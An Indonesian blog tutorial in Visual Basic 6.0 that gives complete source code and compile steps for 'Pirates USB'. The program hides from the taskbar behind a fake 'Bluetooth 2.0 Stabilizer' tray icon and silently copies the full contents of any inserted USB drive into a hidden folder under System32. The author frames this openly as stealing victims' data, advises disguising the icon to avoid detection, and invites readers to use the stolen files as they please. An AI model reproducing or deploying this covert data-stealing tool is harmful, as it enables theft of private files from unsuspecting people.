Membuat Aplikasi "Pencuri" Data USB 2012-02-22T14:24:00-08:00Bhepal.Corp 2ndVisual Basic 6.0|Comments Membuat Aplikasi "Pencuri" Data USB

About Author

Name : Synyster Bluqhkgates

Nick ID : BPL_bluqhk_CRP

i wasn't nobody, i also don't like a nobody, i don't have any knowledge, i'm just an ordinary person, born from the middle to lower, maybe i wasn't a cleaver, but that doesn't mean stupid. IT'S ME !!!not you, your friend or your idol.. and don;t ever think underestimate to me..

Oke kali ini saya akan membahas tentang Coding Visual Basic 6.0. Kali ini yang akan kita ciptakan adalah “Pirates USB”, aneh sekali nama itu.
Sesuai dengan namanya, aplikasi ini nantinya berfungsi untuk membajak isi dalam USB Drive (Flashdisk, Hardisk External, SDCard, atau pun media penyimpanan lain yang menggunakan USB).
>> Diam Menakutkan, Bergerak Mematikan <<

Langsung saja pada bahasan utama kita kali ini.
Bahan-bahan yang di butuhkan :
- Visual Basic 6.0 (Full Version/Portable)
- Otak jernih << Digunakan untuk memahami kinerja code-code nantinya
- Kopi << biar tidak ngantuk coy !! (“S*S*” asli lebih bikin melek loh )
- Rokok << Gak wajib sih kalo ini…

Part-part yang di butuhkan dalam pembuatan aplikasi ini adalah :
- 1 buah Form << Ganti namanya menjadi “Awal” (tanpa tanda kutip)
- 2 buah RichTextBox << Ganti namanya menjadi “Penyusupan” dan “RTF” (tanpa tanda kutip)
- 1 buah PitcureBox << Ganti namanya menjadi “TrayIcon” (tanpa tanda kutip)
- 1 buah Timer << Tidak perlu di ganti namanya
Sekarang buat susunan part-part tadi menjadi seperti berikut :

Sebenarnya tidak penting juga sih masalah tampilan, karena nantinya aplikasi ini berjalan secara “Underground” atau tanpa terlihat user.
Jangan lupa memberi icon pada form dengan gambar yang tidak mencurigakan, disini Hyda menggunakan icon Bluetooth dan untuk Picture Box isi dengan gambar yang tidak mencurigakan pula, lagi-lagi disini Hyda menggunakan gambar dari proses pemindahan file via Bluetooth.
Semoga tidak ketahuan
Untuk Timer, silahkan ubah intervalnya menjadi 1000.
Jika dalam penyusunan sudah selesai, silahkan copy script di bawah ini :

Option Explicit
Private Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetVolumeInformation Lib "Kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private Const MAX_FILENAME_LEN = 256
Private Declare Function GetDriveType Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Dim Folder_Name As String
Dim Drives(14) As String, x As Long
Dim USB_Drv As String
Dim C As Byte, I As Byte
Dim Copy_Progress As Boolean
Dim File As New FileSystemObject
Dim DD As String, OLD_USB As Long, NEW_USB As Long
Private Type NOTIFYICONDATA
        cbSize As Long
        hWnd As Long
        uId As Long
        uFlags As Long
        ucallbackMessage As Long
        hIcon As Long
        szTip As String * 64
End Type
Private Const NIM_ADD = &H0Private Const NIM_MODIFY = &H1Private Const NIF_MESSAGE = &H1Private Const NIF_ICON = &H2Private Const NIF_TIP = &H4Private Const WM_LBUTTONDOWN = &H201Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean
Dim TrayI As NOTIFYICONDATAPrivate Sub Form_Load()
On Error Resume Next
        Me.WindowState = vbMinimized
        Copy_Progress = False
        App.TaskVisible = False
        Call Pirates
        TrayI.cbSize = Len(TrayI)
        TrayI.hWnd = TrayIcon.hWnd
        TrayI.uId = 1&
        TrayI.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
        TrayI.ucallbackMessage = WM_LBUTTONDOWN
        TrayI.hIcon = Me.Icon
        TrayI.szTip = "Bluetooth 2.0 Stabilizer" & Chr$(0)
        Shell_NotifyIcon NIM_ADD, TrayI
        Timer1.Enabled = True
End Sub
Private Sub Pirates()
        On Error Resume Next
        Folder_Name = Date & "_" & Time
        RTF.Text = Folder_Name
        Call FindIt(RTF, "/", "-")
        Call FindIt(RTF, " ", vbNullString)
        Call FindIt(RTF, ":", vbNullString)
        Folder_Name = GetSystemPath & RTF.Text & "\"
        For I = 68 To 80
                C = C + 1
                Drives(C) = Chr(I) & ":"
        Next I
        For I = 1 To 13
                If GetDriveType(Drives(I)) = 2 Then
                        USB_Drv = Drives(I) & "\*"
                        Penyusupan.Text = Drives(I)
                        Call FindIt(Penyusupan, ":", vbNullString)
                        DD = Penyusupan.Text
                        NEW_USB = DriveSerial(DD)
                        If NEW_USB <> OLD_USB Or OLD_USB = 0 Then
                                Copy_Progress = True
                                TrayI.hIcon = TrayIcon.Picture
                                Shell_NotifyIcon NIM_MODIFY, TrayI
                                File.CreateFolder Folder_Name
                                File.CopyFolder USB_Drv, Folder_Name
                                DoEvents
                                USB_Drv = USB_Drv & "*.*"
                                File.CopyFile USB_Drv, Folder_Name
                                DoEvents
                                MousePointer = vbDefault
                                OLD_USB = NEW_USB
                                Copy_Progress = False
                                TrayI.hIcon = Me.Icon
                                Shell_NotifyIcon NIM_MODIFY, TrayI
                        End If
                Else
                        USB_Drv = vbNullString
                        Copy_Progress = False
                End If
        Next I
End Sub
Private Function FindIt(Box As RichTextBox, Srch As String, RplcTxt As String, Optional Start As Long) As Variant
On Error Resume Next
Dim RetVal As Long
Dim Source As String
Source = Box.Text
If Start = 0 Then Start = 1
RetVal = InStr(Start, Source, Srch)
If RetVal <> 0 Then
        With Box
                        .SelStart = RetVal - 1
                        .SelLength = Len(Srch)
                        .SelBold = True
                        .SelText = RplcTxt
        End With
        Start = RetVal + Len(Srch)
        FindIt = 1 + FindIt(Box, Srch, RplcTxt, Start)
End If
End Function

Private Function DriveSerial(ByVal sDrv As String) As Long
On Error Resume Next
        Dim RetVal As Long
        Dim str As String * MAX_FILENAME_LEN
        Dim str2 As String * MAX_FILENAME_LEN
        Dim a As Long
        Dim b As Long
        Call GetVolumeInformation(sDrv & ":\", str, MAX_FILENAME_LEN, RetVal, a, b, str2, MAX_FILENAME_LEN)
        DriveSerial = RetVal
End Function
Private Function GetSystemPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
        x = GetSystemDirectory(Buffer, 255)
        GetSystemPath = Left$(Buffer, x) & "\"
End Function
Private Sub Timer1_Timer()
On Error Resume Next
        If Copy_Progress = False Then
                C = 0
                x = 0
                NEW_USB = 0
                Call Pirates
        End If
End Sub

Terlalu panjang jika saya jelaskan tiap string dalam coding di atas.
Sebelum di compile menjadi EXECUTABLE File, ubah dulu nama project menjadi “Pirates” (tanpa tanda kutip)
Project > Project1 Properties… > Pada bagian “Project Name” ubah menjadi yang di sebutkan tadi.

Setelah siap, kita compile menjadi EXE.
File > Make Pirates.exe… > Pilih lokasi penyimpanan > OK

Saatnya Jadi “Bajak Laut”
- Jalankan di komputer, laptop, notebook, dan tentunya menggunakan OS Windows
- Tidak terjadi apa-apa kan ?!!
Tapi lihat bagian ini :

Tuh udah muncul icon yang saya pasang di form tadi

Dan ketika ada yang mengkoneksikan USB ke komputer, laptop atau notebook yang sudah kita pasang “Teman Kecil” ini maka ini lah yang akan terjadi : 

Otomatis semua data korba akan tercopy (ini di tunjukkan oleh panel lampu yang hidup pada flashdisk seperti pada gambar)

Tunggu beberapa saat hingga proses “Pencurian” selesai….
Setelah itu cek di bagian C:\Windows\System32\ (gambarnya seperti berikut) :

Kita akan menemukan sebuah folder dengan nama yang di ambil dari waktu “Pencurian” data..
Contoh dari saya ini “Pencurian” data dilakukan pada tanggal 23 Januari 2012 pada jam 10:46:49AM
dan folder tersebut akan memiliki nama 1-23-2012_104649AM.
Untuk mengecek apakah kerja “Teman Kecil” ini berhasil, kita buka saja folder tersebut..
Berikut tampilannya :

 Heheheheheheheh
Maaf nama foldernya sengaja saya sensor, karena waktu uji coba menggunakan flashdisk saya sendiri dan menyimpan “Sesuatu”


Setelah ini silahkan berbuat apa pun yang kalian mau dengan menggunakan file-file curian tersebut..

NB* :
Aplikasi mini ini merupakan penyederhanaan dari Software bernama “Rampok” yang memiliki fungsi sama, tetapi dia menggunakan password untuk mengakses data hasil “Pencurian” tersebut.
(silahkan search di google)